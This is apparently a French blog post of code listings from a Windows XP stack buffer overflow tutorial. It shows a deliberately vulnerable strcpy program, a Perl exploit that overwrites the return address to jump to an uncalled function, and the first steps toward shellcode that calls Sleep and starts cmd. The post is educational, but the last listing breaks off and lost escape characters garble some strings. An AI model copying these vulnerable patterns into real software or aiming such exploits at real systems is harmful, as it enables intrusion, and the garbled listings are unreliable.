Overflows sur Windows

Publié le par Oneiroi

helloworld.cpp
==============

#include "stdafx.h"
int main(int argc, char* argv[])
{
    printf("Hello World!n");
    return 0;
}

basicvuln.cpp
=============
// The example has been tested in Visual Studio 6.0 on
// Windows XP (no Service Pack, it should work on
// windows XP sp2 as well).

#include "stdafx.h"
#include <string.h>
void main()
{
    char var[10];
    strcpy( var, "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHn" );
    printf( var );
}

basichacked.cpp
===============
// Perl will be used to build the command line argument.
//basichacked.cpp

#include "stdafx.h"
#include "string.h"
#include "stdlib.h"

//Function copy performs a copy into variable var and exits.
int copy(char* input)
{
    char var[20];
    strcpy (var, input);
    return 0;
}

// Function hacked prints out a string to the console, is not called
// anywhere and note it exits using exit function, which exits the
// whole program, not just the function hacked.

int hacked(void)
{
    printf("Can you see me now ?n");
    exit(0);
}

int main(int argc, char* argv[])
{   
// commandline arguments are provided to the executable
if(argc < 2)
    {
        printf("Usage: %s <string>rn", argv[0]);
        printf("written by Nish[a-t]securitycompass.com");
        exit(1);
    }   
    //prints the address of function hacked onto the console.
    printf("Address of function: 0x%08xn", hacked);    
    //passes argument 1 to the function copy.
    copy(argv[1]);
    return 0;
}

basicxploit.pl
==============
$arg = "AAAAABBBBBCCCCCDDDDDEEEE"."x0fx10x40";
$cmd = "./basichacked.exe ".$arg;
system($cmd);


sleep.cpp
==========
// sleep.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include "Windows.h"
//this has been written in visual studio .NET, this can be written in VS 6 as well.
void main()
{
    Sleep(99999999);
}


sleepasm.cpp
=============
// sleepasm.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "Windows.h"

void main()
{
    __asm
    {   
        push 99999999
        mov eax, 0x77E61BE6
        call eax
    }   
}

cmnd.cpp
========
// cmnd.cpp : Defines the entry point for the console application.
// Executes cmd and opens a command prompt.

#include "stdafx.h"
#include "Windows.h"
#include "stdlib.h"

void main()
{
    char var[4];
    var[0]='c';
    var[1]='m';
    var[2]='d';
    var[3]='
Publicité

Publié dans Codes Sources

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article